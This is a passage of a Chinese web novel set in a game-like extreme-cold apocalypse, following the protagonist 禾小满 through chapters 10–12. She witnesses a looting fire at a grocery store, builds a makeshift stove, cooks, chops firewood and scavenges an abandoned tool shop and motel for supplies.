最让他憋屈的是,他没进杂货铺,又没赶上车,现在他妈的什么都没捞着!
杂货铺里的人也陆续出来了,他们的收获并不丰盛,很多人脸上带着失望和未尽的戾气。货架和仓库里确实没有食物,汉克夫妇这一点并没有骗人。不过这不代表他们是完全空手而归的,他们找到了厨房和卧室里储存的食物:大米、面粉、油、几块腊肉……他们正忙着瓜分这些零碎。
一个男人从杂货铺里走出来,手上拎着几个土豆和一小块腊肉,脸上没什么喜色,反而有些茫然。他环顾四周,问道:“鲍勃呢?鲍勃还没有出来吗?”说实话,如果不是鲍勃最先带头煽动大家来杂货铺,他们可能连手上这一点点食物都没有。
旁边抱着小半袋面粉的男人接话,指了指店铺最里面:“鲍勃和杰克还在里面打呢,为了抢那桶剩得最多的油。”
问话的男人望向里面。黑暗中,只有手电筒的光柱胡乱晃动着,映出两个扭打在一起的模糊身影,谩骂声和拳击的闷响越来越清晰。他犹豫着是不是该去劝劝……就在这时,他隐约听到一声像是塑料盖子被拧开的轻微声响,紧接着,是某个小东西掉落在木质地板上的“啪嗒”声。
毫无预兆地,一道刺目的火光猛地从店铺深处窜起!
火舌如同拥有生命般,迅速舔舐着泼洒在地上的油脂,并沿着油的流淌路径疯狂蔓延,越烧越旺,瞬间就将那一片区域变成了火海!火光一下子照亮了店铺内部,也映出了那两个扭打身影惊恐失措的表情。
禾小满准备换个更安全的地方躲藏,最好能摸黑先溜回她藏三轮车的地方。她刚支起身子,就被杂货铺方向猛然亮起的冲天火光吸引了全部注意力。
那火光起得极其突然且猛烈,橘红色的火焰贪婪地吞噬着一切可燃物,货架、纸箱、甚至墙壁和天花板……火势蔓延的速度快得惊人,滚滚浓烟随即冒出,夹杂着噼啪的爆裂声。原本还在店铺内外争抢、叫骂的人群顿时陷入了更大的混乱。
末世之下,人心或许比雪花更快的冻结,亦或像这间杂货铺一样,在欲望的灼烧中扭曲变形。
10. 【极寒天灾】
橘红色的火苗欢快地跳动着,木头燃烧发出了噼里啪啦的爆裂声,灼热感扑面而来,驱散了寒意。
禾小满看了一眼手表的时间,8点整。
很好,已经到吃早餐的时间了。
这也是她进入【极寒天灾】这一副本的第8天了。
从那天杂货铺发生火灾之后,她心有余悸,连续两天都没敢出门,既是为了避避风头,防止被那些抢红了眼的人盯上,也是为了安心收拾家里,专心致志地垒她的宝贝灶台。
禾小满往炉膛里又填了一块木头,确定火烧得正旺,一时半会不会熄灭,于是从厨房把那口擦得锃亮的铁锅拿了出来,端端正正地放在灶台口上。
一日之计在于晨,在这种极端环境下,吃顿好的很有必要。
首先要烧水。自来水系统早在第5天就已经停摆了,禾小满提来一盆干净的雪块,倒入锅中,盖上锅盖,耐心等待雪块融化。
烧出的一锅热水,用途需要精打细算:一小部分用来给她简单洗漱;大部分灌入她的军用水壶里,作为上午的饮用水储备;最后剩下的一些,则用来烹饪今天的早餐主角之一——燕麦粥。
待锅中的水沸腾,她留出刚好能冲泡一碗燕麦片的水,将燕麦片缓缓倒进锅中,拿着勺子边煮边搅拌,偶尔用勺子舀去面上浮沫。煮了大约一两分钟后,看到燕麦片渐渐开花,整锅粥变成有点粘稠的状态,便暂时停手,加入她的秘密武器——
奶粉。
其实正儿八经的燕麦粥应该是加牛奶的,但禾小满手头哪有那么奢侈的东西,也只能因地制宜,找个平替了。
她拿出那条无比珍贵的奶粉,用剪刀在袋角剪开一个小口,小心翼翼地往锅里抖了四分之一条的量,立刻就心疼地停手了。她也只有这两条奶粉,喝一点少一点。
但幸运的是,这奶粉的奶味出乎意料地足。随着粉末融入滚烫的燕麦粥,一股浓郁的奶香瞬间被激发出来,混合着麦片的谷物香气,缓缓上升,弥漫在空气中。奶白的粥体中,微黄的燕麦片沉沉浮浮,看起来竟然有几分诱人。
看着锅里咕嘟冒泡的燕麦粥,禾小满忍不住咽了咽口水,直接用勺子舀起一小勺,放在嘴边吹了两下,便迫不及待地送入口中。
好香!
燕麦粥煮得十分浓稠,由于加了奶粉的缘故,每一口都带着浓浓的奶味和丝丝的甜味,燕麦大部分都煮开花了,带来一种黏糊糊的、暖融融的满足感,偶尔吃到了一两颗生燕麦粒,又增添了几分弹牙的嚼劲。
吃上这一口热乎香甜的燕麦粥,禾小满感觉五脏六腑都被熨帖了,暖意从胃里一路扩散开来,舒服得让她眯起了眼睛。
没忍住又接连舀了几勺解馋,禾小满才依依不舍地住手,她还有别的美食要做呢。
把锅随意清洗了一下,禾小满拿出了几片提前切好的腊肉,直接下锅煸炒。
这腊肉来源于冯阿婆走之前丢给她的黑色塑料袋,回家拆开塑料袋的瞬间,禾小满口水都要掉下来了。现在灶台搭好了,正是试试这腊肉滋味的好时机。
这是一条品质相当不错的腊肉,色泽油亮,肥瘦相间恰到好处,肥肉部分呈现出诱人的乳白色,近乎透明,瘦肉则干爽结实。一凑近就能闻到那股扎实的烟熏咸香味,勾人食欲。
切成薄片的腊肉直接下锅,不用再放任何油和调味料,用锅铲轻轻压一压肥肉部分,透明的油脂便被煸了出来,滋滋作响,而瘦肉也在热油的浸润下变得油润可口。
禾小满又拿出了提前切块的土豆和刨成丝的紫甘蓝,一股脑儿放进锅里,借着腊肉煸出的油快速翻炒。
她知道这个搭配是有点奇怪,最配腊肉的本该是蒜苔和辣椒,但她现在处于有什么吃什么的阶段。何况,在她看来,只要沾染上了锅气和油香,什么样的东西都会被点石成金,难吃不到哪里去。
禾小满夹起一片煸炒得边缘微焦、油光锃亮的腊肉送入口中,肥而不腻,瘦而不柴,烟熏风味十足,简直给她香迷糊了。这绝对是穿越以来她最奢侈的享受之一!
风卷残云般吃光了锅里的所有腊肉和配菜后,禾小满连锅底那点残存的油汁也没有放过。她拿出了最后一片面包,把面包片按在锅底仔仔细细地擦了一圈,确保不浪费任何一点油脂和味道。
最后,那些没蘸上多少油的面包边,她也没嫌弃,就着那碗温热的燕麦粥,一口粥一口面包边,圆满地解决了这顿丰盛的早餐。
嗝——
禾小满心满意足地坐在她的茶几餐桌前,打了个悠长的饱嗝。她已经很久没有吃到这么像样的一餐了。
没有灶台前,她都是靠压缩饼干熬过来的,虽然也能填饱肚子,但说什么也比不上这么一顿有粥有菜有肉的热乎饭菜。
真不愧她辛辛苦苦垒出来的灶台。
垒这灶台确实不容易,她做的第一步就是清理砖块。
那天敲下来的砖块,几乎每一块都带着层凹凸不平的水泥。为了保持砖面平整方便垒放,她不得不拿出她的斧头和刀,又敲又撬又铲,花了老大力气才把这些水泥疙瘩清理掉。
然后就是搭灶台,她把灶台的地点直接选在客厅,方便她做饭烧火。尽管有冯阿婆的口头指导,但真动起手来才发现“一听就会,一搭就废”。她一边努力回忆着冯阿婆比划的要点和老家灶台的大致模样,一边尝试着垒砌,反复调整了好几次才找到一个相对稳定的结构。
因为手艺不熟练,加上砖块数不多,她最终垒成的这个灶台很小,甚至连烟道也没有,但对于现在的她来说,是从零到一的巨大飞跃,勉强够用了。这两天,她每天都能吃上热乎的饭菜,睡前还能惬意地烤会火,幸福指数简直飙升。
禾小满起身,把锅从灶台轻轻端起,准备拿回厨房。
她之所以对锅和灶台这么轻拿轻放,是因为这个灶台有个很大的缺点——它没有任何水泥之类的粘合剂固定,是纯靠砖块自身重量和结构搭建的。这意味着它并不牢固,每次使用时她都需要格外注意,生怕一使劲就把某块关键的砖头碰移位了,导致整个灶台垮塌。
而且更要注意脚下,千万别在走动间一不留神,一脚把她的心血作品踢回零件状态。
要问禾小满为什么会对这些奇怪的注意事项如此了然于心……
……嗯,墙角那几块不幸殉职的断砖,就是某天夜晚她摸黑上厕所时的杰作。
收拾完锅碗瓢盆,禾小满又整理了一下她床上那套越来越厚的窗帘被,给窗帘被缝上第五层窗帘后,禾小满
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望了望窗外还算晴朗的天色,准备去外面砍点柴回来。
炉灶可不是鼠标点一点就能生火的魔法道具,要想持续使用,就需要燃料来供应。
这两天禾小满每天都会外出砍点柴回来,这已经成了她固定的日常任务。
背好背包,揣上斧头,禾小满骑上她忠诚的座驾,再次出发。
尽管她安全屋的院子里就有几棵树,外面的街道也整齐地种着一排观赏树,但禾小满蹬着车,依旧骑了大概小十分钟,来到一条相对较远的街道才停下来。
她秉持着“兔子不吃窝边草”的生存理论,既是心疼自家的树木,也是为了掩藏安全屋的具体位置,不让他人通过新鲜树桩判断出这里有人居住。她每次都宁愿跑远一点,去征用别人家地盘上的树木。
……虽然好像是有点缺德,但是树都没说什么呢,是吧。
禾小满一般会先挑选街道两旁绿化带里的树,它们大多是些不太粗壮的松柏类或她叫不出名字的落叶乔木。然后再瞄上一些明显荒废的院子里的树。对于那些有人烟痕迹的院落,她从来不去碰。
至于别人介不介意她来砍空屋“邻居”家的树,禾小满表示,她现在也是这个小镇的一名住户,是所有小镇居民素未谋面却心心相印的邻居呀!那些被砍树的空屋也是她的邻居,砍棵邻居家的树怎么啦?
实在不行,他们也可以去砍他们邻居家的树,再不行,它们可以来南区砍禾小满邻居家的树嘛,这非常公平。
砍树是个实打实的力气活。禾小满通常会选择对相对细直、易于劈砍的树枝,或者不太粗的树干下手。双手握住斧头,瞄准位置,用力挥下,“哆”地一声闷响,木屑飞溅。反复几次,树枝应声而断。
对于砍下来的树木,她直接就修理一下枝杈,将它们砍成适合炉灶大小的短截,然后整齐地码放到三轮车斗里。一趟下来,虽然总是累得胳膊酸软,但往往也能收获大半车柴火。
就算累得不行,禾小满砍树时也不忘注意周围。那天冲动之下帮了冯阿婆,虽然不后悔,但还是难免有些后怕,害怕抢东西的那群人会认出她进行报复,这几天出门砍柴的时候她也总是提心吊胆的。
不过,可能是天太冷了,大家都窝在家里不出来,加上她所在的南边确实人烟稀少的缘故,这几天她在路上竟然一个人影都没碰到,更别提那些参与过抢劫的人了。
这对于她来说是大好事一桩,她还是继续做个做好事不留名的活雷锋比价好,最好小镇的居民们都不清楚她这个陌生邻居的存在。
砍完这一排的最后一棵树,禾小满决定打道回府,车斗里的柴火差不多够烧一两天了。回去吃饭休息一会,下午如果天气还过得去,她再过来继续砍。
摸了摸背后的斧头,骑着三轮车的禾小满开始计量着明天的行程。
柴火储备不能停,但拾荒大业也不能荒废,是时候让她的拾荒术重出江湖了。
那么,明天该从哪里开始好呢?
禾小满的脑海里忽然闪过了工具店店员迈克的面孔,以及那一屋子冰冷实用的机械工具。
决定了,就是西边的加油站!虽然之前去过工具店,但旁边的汽车旅馆和那一排荒废店铺里面,说不定还有遗漏的宝贝呢!
11. 【极寒天灾】
“上一周,联邦多数地方遭遇各种不同的极端气候,平静海西北部、中部平原、迈西可湾沿岸、南部和阿特拉斯洋中部等地,不同程度地遭受了包括暴风雪、雷爆、龙卷风、极冻,甚至是混合天气,已知造成170余人死亡,数百万人陷入停电。”
“雨城气象部门向常绿州西部地区发布了暴风雪警告,这相当罕见,上一次相似的警告是2012年。”
“新纽西州州长墨菲宣布全州进入紧急状态,预计本周该州可能会出现一到四英寸的大雪,并伴有强风。”
收音机滋滋作响,像一只报灾鸟,断断续续地播报着各地传来的坏消息。各地人员伤亡、车辆损毁、房屋倒塌的信息不绝于耳。
禾小满坐在灶台前的小凳上,一边小口吸溜着燕麦粥,一边若有所思地听着广播。
这几天通过收音机和旧报纸,她已经大致拼凑出了【极寒天灾】这个副本世界的情况:她所在的地方是某联邦中南部的一个州,由于本州地理条件还算不错,目前主要灾害只有低温和冰雪,受灾情况在整个联邦算得上中等。有些倒霉的洲除了遭遇普遍的寒潮和风雪袭击,甚至还伴有龙卷风、冰雹等五花八门的极端天气灾害。
因为这场极端灾害来得太过突然和迅猛,一下子就击穿了各地民生保障部门的防线。现在全联邦有四分之一的地区已陷入停电,剩下的地区也是勉力支撑着电力和水力系统的运转。
但这并不代表那些地区的居民就可以高枕无忧。因为除了极端天气的无情打击,大家还面临着一个更严峻的问题——物资短缺。
由于暴风雪摧毁了交通网络和各种基础设施,州与州之间的物资运输几乎陷入瘫痪。各个城镇无法及时获取农业州产出的食物和工业州制造的产品,其后果可想而知。
是的,如今收音机每天不是在循环播报气象灾难新闻,就是在播报各地因物资短缺而爆发的抢劫和暴乱事件,涉及面积之广、人数之多、程度之激烈,让躲在这个偏僻小镇的禾小满也不禁为之咂舌。
听着收银机里的新闻,禾小满对自己的现状居然生出几分诡异的满意来:
尽管这个小镇也受灾,但不是最严重的那一批;小镇虽然物资匮乏,但她有先见之明地提前囤积了一些食物;小镇人烟稀少,这对她来说简直是优点,她宁可不触发【卑微乞讨】技能,也不想和太多人打交道惹来麻烦;至于安全屋,确实是破了点,但她可以通过捡垃圾一点点改造它。
这么一想,她现在的处境简直可以称得上是岁月静好了。
人生在世,果然还是要乐观一点,尤其是在末世。
禾小满在摄取了足够的热量和信息后,主动结束了她的早餐兼广播时间,心满意足地起身去收拾碗筷。
等会儿就该出门了。
昨天她去加油站的计划,又被骰子大神掷出的2点给无情打断了。
虽然计划屡次被打乱,但她的心态已经锻炼得比较平和了。在骰子掷出2点的前提下,昨天她还是出了门,只是地点谨慎地选择了在附近的街道。除了在砍柴的路上不小心滑了一跤,以及在几个垃圾桶里毫无收获之外,倒也没发生什么更倒霉的事情。这说明即使掷出凶兆,只要自己不作死,危险还是相对可控的。
不过昨天在垃圾桶里一无所获这事,表明【命运骰子】的效果强于她的天赋技能,能压制【拾荒者的嗅觉】,这让禾小满有点小失望。但没关系,她可以灵活调整策略——在骰出低点数的时候,就老老实实做些日常收集工作;等运气好的时候,再出去摸宝捡垃圾。
今天就是运气不错的一天,骰子慷慨地掷出了4点,【今日运势判定:小吉。诸事顺遂,或有意外收获。】的播报时隔八天再次响起。
不知不觉,这已经是她进入副本的第十天了,距离杂货铺那场令人心悸的火灾也过去了五天之久。
原本就人烟稀少的小镇,现在的人更是少的可怜。路上仍然是一个人都没有,禾小满只能从路边日益减少的汽车,和空荡荡没有脚印只有积雪的台阶判断出这一点。
原本就人烟稀少的小镇,如今更是寂静得像一座巨大的冰雕墓园。路上仍然是一个人影都看不到,禾小满只能从路边日益减少的汽车数量,以及那些只有积雪没有任何脚印的门前台阶,来判断居民的去留。
她骑着三轮车,沿着道路前行,很快就骑到了那个曾经带来温暖和帮助的地方——汉克杂货铺。如今那里只剩下被大火吞噬后的焦黑废墟和残垣断壁,唯有一片狼藉的景象诉说着那晚的混乱与疯狂。
也不知道冯阿婆她们现在怎么样了,外面世道这么乱,他们能去哪里呢?不过看汉克当时那副坚决果断的样子,他们应该是有地方可去的。之前听冯阿婆提过,他们有一个女儿,也许是去找她那个在microhard公司上班的女儿了?
现在回想起刚进杂货铺的那天,简直恍如隔世。她也不再纠结系统的天赋技能到底有没有在她们的相处中起作用,无论如何,那个亲切的老太太给予她的温暖是真实存在的。
摇摇头甩开思绪,禾小满骑车转弯,沿着道路向西前行。
路上,她还是忍不住手痒,继续掏垃圾桶。既是因为捡垃圾确实快乐,也是因为【拾荒者的嗅觉】这个天赋技能实在好用,她现在所见的任何一个垃圾桶,都条件反射地想去掏一掏。
佩戴好手套和【垃圾夹】,禾小满一路骑车,一路翻遍了沿途能见到的每一个垃圾桶。不知道是不是她的错觉,尽管同样有【命运骰子】四点“小吉”的加持,但和第二天的大丰收相比,今天的收获明显就寒酸了很多。
她今天在路上翻了不下十个垃圾桶,翻到的基本只有些废纸张、旧书籍、小木块或者一些生锈的小工具,再也找不到任何食物了。
而且,她注意到一些垃圾桶显然被“捷足先登”了。经过一户人家门口的垃圾桶时,看着桶边新鲜的脚印和里面被翻动得异常彻底的内容,禾小满瞬间就判断出——已经有人先她一步光顾过这个垃圾桶了。
这倒也在意料之中。小镇的物资补给起码中断了一周,如果不是那种事先囤积了大量食物的家庭,这个时候怎么也该到了弹尽粮绝的地步。现在来翻垃圾桶,试图找到些以前丢弃浪费的食物,也是他们无奈的选择。
禾小满不由得有点庆幸,还好自己下手够快。第二天,正是风雪刚刚袭来的时候,很多人还没意识到这场风雪会持续如此之久,也只是按照以往的生活习惯处理垃圾。而那些被慷慨丢弃的垃圾,最后都便宜了她。
没有翻到什么好东西,禾小满也不是很气馁,因为她还有一项额外的收获——身份天赋进度条的增长。
点开系统光屏就可以看到,她身份天赋那一栏下,已经变成【天赋等级:Lv.1 (35%)】了。总结了她这十天的经历与行动,禾小满对这个天赋等级的提升机制有了一个隐隐的猜想:
只要她持续扮演【流浪汉】这个身份,做符合她身份的事情(比如捡垃圾、住破屋、吃临期食物),不断触发【拾荒者的嗅觉】和【风餐露宿】等天赋技能,就能获得经验值,提升身份等级。
每次出门捡垃圾的时候,她的等级进度条就涨得明显快一些;而在家休息的时候,虽然也有增长,但速度就慢很多。这也符合她的推测:出去捡垃圾时,她频繁触发【拾荒者的嗅觉】,就相当于是在练级了。而在家休息吃饭时,进度条偶尔小幅跳动,她猜测那是因为她食用了捡来的过期或临期食物,触发了【污秽亲和】的效果。
只是很可惜【卑微乞讨】【边缘感知】这两项天赋技能不太好触发,前者要和人接触互动,后者则需要有危险时才能显现。
禾小满也不着急,先用其他的天赋技能慢慢练级就好。实在不行,她还有个保底:【风餐露宿】。这个在极端温度和恶劣环境下就能起效的技能,不出意外的话,在她整个副本期间都会触发,能够持续稳定地提供微量的经验值。
她就这么一边琢磨着,一边慢慢骑到了加油站。加油站也还是老样子,一片死寂。旁边罗伊工具店的招牌已经熄灭,不再闪烁,隔着漫天风雪,她也看不清店内究竟是何光景。
不知道那个懒散的店员迈克还在不在这里。禾小满对这个同为打工人的小哥印象还蛮深的,有点好奇他的情况。
暴风雪困住了各个城镇,交通基本中断,除非店铺的送货车辆神通广大,穿越风雪来加油站送货,否则他的处境也相当艰难。
更重要的是,要是到了现在,迈克还呆在店里,禾小满倒真要佩服他了:外面风雪肆虐天灾爆发、老板远在别处悠闲度假、同事早已提桶跑路、且前有老板欠薪、后有顾客刁难……他要是还能坚持上班,只能说他就是天生打工人、先天牛马圣体了。
……不过在失业前,她的生活好像也是这样的。
啊,一不小心把自己也嘲讽了一通,工贼竟是我自己。
禾小满把三轮找了个地方停着,望向店铺,店内漆黑一片,也没有任何人影,看起来迈克也不愿意上这破班了。
她就说嘛,要是这种情况下,迈克还坚守他的岗位,她就要疑心他是不是绑定了什么打工系统了。
其实看到迈克不在这里,禾小满是有些窃喜。除了一丝对打工人的同情外,还有一个羞于启齿、略微缺少道德的想法在作祟:
她现在手里可没有一分钱。要是来这里碰到还在上班的迈克,她可怎么办?难道要和他说:
“收银台的小哥,私密马赛,麻烦请你闭眼转过身去,我现在要在你们店里进行一个零元的购。”
不过,禾小满很快就发现自己还是太年轻了。工具店玻璃门上有个显眼的大洞,证明了怀有这个想法的人远不止她一个,大家早就付诸实践了。
穿过前人留下的大洞,店内一片昏暗,只有外界雪地反射的微光勉强透入。可以看到以往摆放整齐的货架凌乱了一些,但最乱的还是收银台附近那几排货架,那里之前摆放的都是些日用品、食物、以及最昂贵的烟酒。
之前迈克坐的那块地方也变得乱糟糟的,几个泥泞的脚印清晰地印在柜台上。收银机的屏幕碎裂了一角,放钱的抽屉似乎也被人用粗暴的方式撬开了,大概是后来路过的司机下的手。
禾小满倒是对这些钞票没多大兴趣。小镇的商铺一家都不剩了,她现在是有钱也没地方花。不过,她注意到收银机半开的抽屉里好像塞了一张纸,不是钞票,就是一张白纸。
这是什么?禾小满的好奇心被勾了起来。她走到收银机前,拉开了抽屉。抽屉里果然空空荡荡,一分钱都没有了,只有那张折叠起来的白纸孤零零地躺在里面。
展开白纸,上面用笔迹潦草、力道十足地写着一段话:
“狗·日的罗伊,我可去你大爷
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的,老子不干了!另外,你这个恶心无比的吸血资本家人渣,你还欠我两个月工资!不过没有关系,我已经把店里的钱、烟、酒都搬走了,不用谢!不知道你还能不能看到这张纸,还是祝你死在度假的沙滩上吧!”
白纸上的每一笔都都深深地嵌入了纸纤维,仿佛能透过纸张感受到迈克每一笔倾注的愤怒和怨气。
禾小满看着白纸上充满怨气的留言,忍不住噗嗤一声笑了出来。
她还以为是路过的司机干的,没想到居然是内贼下的手。
真是一山更有一山高。欠薪压榨的黑心老板、搬货抵债的暴躁员工、试图趁火打劫的路人司机……出入这个店里的就没一个好人了。
至于她自己,嗯,只是一个致力于让东西物尽其用、流转到更需要它们的地方去的小小清洁工罢了。
大概也是因为看到了前面这么多人都实施了“破窗效应”,禾小满发现自己那点残存的愧疚感和难为情竟然消散了不少,现在再拿东西,她都没那么心虚了。
她准备带走的第一个目标就是斧头。原来那把消防斧是很好用,但因为被她用来撬过水泥,又连续高强度砍了好几天树,斧刃不可避免地钝了不少。她本来还想尝试找砂纸或者磨刀石自己磨一下,现在看来,直接拿把新的显然更方便。
除了斧头,其他工具她也想补充一些。扳手、撬棍这些很常见的工具备一套总没坏处。她还特别看中了一把折叠金属锯,除了用斧头砍树,有的时候用锯子来处理一些小树杈和木块会更省力。
劳保鞋和手套她也又拿了一些。因为经常翻垃圾桶,她那几副手套的清洁程度变得比较堪忧了。不过这次她除了拿线织的劳保手套,还特意拿了些橡胶手套,以后专门用它对付那些汤汤水水成分不明的湿垃圾。
最后,她还找了些防冻液、润滑油和防水布。她得给她的三轮车好好保养一下,这辆宝贵的交通工具可千万不能出什么岔子。
禾小满在工具店里仔细地转了一圈,没有放过任何一个货架。货架上的商品确实被之前的光顾者拿走了一些,但并不算太多。毕竟这些不是当下最急缺的食品日用品,很多居民家里原本就有这些基础工具。大家涌进来也主要是找吃的,只有部分车辆恰好出了问题的司机,才会顺手拿点修车工具。
这种情况反而利好禾小满。她的安全屋里几乎啥也没有,这些对别人来说不需要的工具,在她这里都能派上大用场。而且这些东西原本价格都比较贵,让她买肯定是买不起的。
把精心挑选的一堆工具搬上车斗,禾小满在工具店里又转了一圈,目光最终停在了工具店的侧门上。
她记得很清楚,上次来的时候,那个吵架的旅馆客人就是从这扇门出来的。门后,应该就是那个汽车旅馆了。
好,走!禾小满只犹豫了一秒钟,就做出了决定。新地图就在眼前,怎么可能不去点亮呢?
伸手推开侧门,映入眼帘的是一片空旷到有些荒凉的停车场,停车位里一辆车都没有,寂静得可怕。矗立在停车场旁的两层平房建筑,就是汽车旅馆了。
旅馆的一楼和二楼由侧门旁的露天楼梯连接,每层楼有八间房,房门外直接是开放式的走廊。站在走廊的木栏杆旁,可以停车场的景象尽收眼底。
一楼放眼望去,是依次排开的房门和窗户,大部分窗户都黑着,里面似乎空无一物。禾小满踩着积雪,慢慢挪动到旅馆前。由于是半露天的设计,冰冷的风雪毫无阻碍地灌入走廊,石砖上积了一层雪,有些湿滑。
禾小满下意识地扶了一下身旁的木栏杆想借力,谁知她还没用力,一小块木头直接从接触的位置脱落下来,“啪嗒”一声掉在积雪覆盖的石砖地上,发出沉闷的声响。
……感觉这旅馆也是年高有德了,就算没有暴风雪也是马上倒闭的模样。
她走向右手边最近的那间客房,客房的门竟然是虚掩着的,不知道是上一个房客忘记关了,还是心不在焉的迈克压根没发现。不过这正好方便了她,她稍稍一推,房门“吱呀”地一声,彻底打开了。
门后是一个极其普通的廉价旅馆客房:一进门就是狭窄的玄关,玄关旁是隐约散发着异味的小卫生间;再往里走,靠墙摆着一台厚重的老式CRT电视机,一个迷你冰箱放在电视柜旁;另一侧则是包浆厚重的床头柜,以及一张还算宽阔的双人床。
禾小满的目光掠过这些简陋的设施,最终直勾勾地落在了那张床上。
床上铺着最普通不过的旅馆三件套——床单、被子、枕头。上面没有印任何酒店的logo,就是旅馆最常见的那种白色纯棉制品,甚至床单靠近边缘的位置还有一个模糊的鞋印。
但禾小满的眼睛还是瞬间直了,呼吸都停滞了一秒。
她这十天过的是什么日子啊!睡的是纸板报纸混合的床垫,盖的是五颜六色的窗帘被。而现在,眼前这可是正儿八经的、工厂生产出来的、蓬松的被子啊!是棉花被啊!这些被子,说什么她都要带回去!
“哇!”禾小满欢呼一声,什么都顾不上了,直接扑向了那张床。尽管身上还穿着厚厚的御寒衣物,几乎感受不到床单的具体触感,但身体陷入那种久违的、蓬松柔软的包裹感时,一种难以言喻的感动和幸福感瞬间将她淹没。
在进入这个副本的第十天,禾小满,即将拥有属于自己的、干净的、柔软的、舒适的被子!
12. 【极寒天灾】
风雪还未停止,窗外飘落的雪花发出轻柔的簌簌声,带来一种安静而慵懒的氛围。
禾小满在被窝里懒洋洋地翻了个身,依恋地抱紧她的被子,不愿起床。
洁白的被子蓬松绵软,被一夜的体温焐热了,带着一点恰到好处的暖意,躺在里面仿佛被云朵包裹着,禾小满觉得自己简直像阳光下的果冻雪糕一样,幸福地融化在这片柔软里了。
这是她穿越这么多天以来,睡得最舒服的一个夜晚。一夜安眠无梦,舒适得让人沉溺,恍惚间她甚至以为自己回到了现实世界中的小窝。
回想前几天,她每天起床都是一骨碌就蹦起来了,而今天,她竟然罕见地磨磨蹭蹭不想动,只想在温暖乡里再多赖一会儿。
果然是由俭入奢易,由奢入俭难啊。
也不枉她辛辛苦苦扒光了一楼所有客房加半个布草间的壮举,她现在是身下垫3床、身上盖5床、旁边还有2床备用。
虽然10床被子听起来确实有些离谱,显得她禾小满好像是什么豌豆公主似的,但这也是迫不得已——这地方的被子,它实在是太薄了!
虽然也很柔软,但比起老家那种把人压得喘不过气的10斤大棉被,这里的被子更像毯子,厚度大概只和禾小满夏秋盖的空调被差不多。
一开始禾小满还疑惑,本地人盖这个真的不冷吗?直到她看见每一间客房都装备的冷暖空调才恍然大悟。
好吧,不管小镇居民们过去过着怎样任性的奢侈生活,现在大家都在一个起跑线。
激励自己爬出了被窝后,禾小满穿好衣服,慢悠悠地走到客厅烧水洗漱。
今天骰子的结果是三点:【今日运势判定:平。波澜不惊,一切如常。无功无过,是为常态。】,不好不坏,但她还是计划再跑一趟汽车旅馆。旅馆一共两层,昨天她光顾着搜刮一楼房间,以及搬运最重要的被子了,还没来的及探索二楼的房间呢。
慢条斯理地吃完早餐,时间一晃到了8点30。禾小满收拾了一下随身物品,再次全副武装地出发了。
如果说昨天去旅馆的心情是期待、好奇加一点点忐忑,那么今天她的心情就是纯粹的喜悦和期待。旅馆里的东西,别的不说,光那几床被子就已经值回“票价”了。今天就算在二楼搜不到好东西,只要能再补充几床被子,她也足够满意。
一路骑行再次抵达加油站,把车停在了和昨天相同的位置,禾小满才探头探脑、小心翼翼地靠近工具店。
昨天回家后她才后知后觉地想起一件事:工具店在她之前已经被别人光顾过了,他们拿东西倒没什么,反正这么多工具她也用不完,能帮到大家应急也算好事。但万一两拨零元购的队伍不小心撞上,那可就尴尬了——万一对面觉得她是来抢地盘的,或者看她落单好欺负,把她也当兵补了可怎么办。
所以今天禾小满格外警惕,特别注意观察了加油站和停车场周围有没有新增的人类和车辆踪迹。还好,这里依然寂静无人,积雪上只有她自己的车辙和脚印。进到工具店内,货物也还维持着她昨天离开时的样子,旅馆走廊上也没有增添新的脚印,她这才暗暗松了口气。
再次进入汽车旅馆,禾小满没有再在一楼浪费时间,径直走上了二楼。昨天她已经搜刮完了一楼的八个客房外加侧面的布草间,把看得上眼的东西全搬走了。
二楼的布局和下面一样,八个客房依次排开。禾小满掏出昨天在收银台下面找到的钥匙,准备一间一间地开门搜查。
旅馆用的是电子门锁,断电后房卡自然就失效了。不过这难不倒她,禾小满直接从工具店顺了一把螺丝刀,卸下电子锁的外壳,用那串钥匙逐一尝试,打开机械锁芯。
除了最重要的被子,房间里还有其他不少值得关注的宝藏。
禾小满首先直奔小冰箱。这些小冰箱本是给客人存放饮料零食的,而现在,里面被客人遗忘的食物,就是她的目标。
昨天一楼的八个冰箱,虽然没刷新出什么像样的食物,但也为禾小满贡献了5瓶矿泉水和4瓶饮料。
其次是床头柜。旅馆标配的抽纸是必在柜子上刷新的,偶尔还能在抽屉里找到一些顾客遗落的小东西,比如打火机、香烟、眼镜、手链、雨伞……但凡觉得可能有用,禾小满都毫不客气地笑纳了。
最后是卫生间。里面的毛巾和卷纸是必拿,沐浴露香皂这类则根据心情和背包空间选拿。
只是有一点让禾小满颇为失望,这里的旅馆竟然不提供一次性牙刷牙膏套装,这对于物资紧缺的她来说,实在是个坏消息。
就这样一间一间地搜索下去,进度很快。终于,她来到了最后一间房门口。刚走到门口,禾小满就感觉这间房有点不一般,房门口和窗台边有不少生活痕迹,显得比其他客房更有“人气”。
打开房门,里面的景象验证了她的猜测。房间里面满满当当地摆放着各种物品,虽然略显凌乱,却又透着一种长期生活形成的秩序感。看来,这间房就是之前那个打工小哥迈克的临时住所了。
禾小满进来的第一眼,就被冰箱上电磁炉和小锅吸引住了。没想到迈克是个勤俭持家的“好男孩”,不是单纯生活在微波炉上,居然还会自己开火做饭。
禾小满立刻满怀希望地去翻冰箱,结果是一半遗憾一半惊喜——遗憾的是没找到食物,惊喜的是虽然没有食物,但她翻到了盐、胡椒,还有几瓶不知名的酱料,这些也可以给她带回去用。
翻完冰箱区域,禾小满开始系统地搜查房间里的其他角落。看得出迈克离开得不是太匆忙,大部分个人物品和生活必需品他都带走了,丢在这的要么是像小锅这样不方便携带的,要么就是可有可无的东西。
但对迈克来说可有可无的东西,对禾小满来说就是雪中送炭了。她睁大眼睛,把肉眼可见的小物件都收集起来:指甲剪、破皮带、一摞汽车杂志……禾小满拿出自带的纸箱和塑料袋,一样一样地往里装。
最后又打包了好几床被子,禾小满才依依不舍地望了一眼二楼的房间,抱起沉重的战利品下楼。
她是接近上午10点到达旅馆的,不知不觉已经在里面奋战了将近四个小时,能搬的东西都收拾得差不多了。或许还有些零碎以后有用,她干脆把所有房门重新锁好,物品就地保存在里面,下次还可以再来拿。
再次载着满满一车物资回家,禾小满心里充满了丰收的喜悦。虽然旅馆老板罗伊是个黑心资本家,但旅馆里的物资可不黑心,她可是毫不客气地拿了不少好东西。
回到安全屋,禾小满赶紧卸货,趁着天色尚早,难得有闲心也有时间,来盘点一下她安全屋内的物资。
首先就是这两天从旅馆带回来的一堆床上用品和洗漱用品:
被子16条、床单16张、枕头2个。这是她此次最大的收获,16间客房的被子全堆她床上了,这个冬天怎么冷都不愁盖了。
